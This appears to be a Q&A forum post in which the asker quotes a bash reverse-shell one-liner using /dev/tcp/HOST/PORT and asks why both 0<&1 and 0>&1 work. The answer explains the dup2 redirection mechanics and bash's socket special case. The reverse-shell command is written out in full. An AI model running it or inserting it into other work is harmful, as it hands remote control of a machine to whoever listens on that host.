I was searching a way to get a reverse shell in bash, when I found this:
bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1
As I understand, stdout and stderr are sent through the connection(/dev/tcp/HOST/PORT
), and stdin reads through the connection(0<&1
). But, as I read here, the expression 0>&1 works too. This doesn't make sense for me (as I learned, >
is for 'write to the following fd', and <
for 'read from the following fd' ) and only should work the first way.
My question is: Did I forget something or I'm absolutely wrong? What are the internal processes involved in this sample of I/O redirection?
Best Answer
The only difference between the
<&
and>&
syntaxes is that the former checks if the target file descriptor is open for input, and the latter checks if it's open for output. The actual operation is the same in both cases (probably adup2
call). Meanwhile,> /dev/tcp/HOST/PORT
isn't doing anopen
syscall, like most redirections; the/dev/tcp
syntax is a bash special case, and in fact bash is opening a socket (which then behaves like a normal file descriptor w.r.t. theread
andwrite
calls). Sockets don't have the property that open files have of being opened for only read or only write; a socket allows both reading and writing (though you canshutdown(2)
either half of that, if you want). Thus, bash doesn't redirection-error either of the two syntaxes used, and since thedup2
call is the same, the behavior is identical.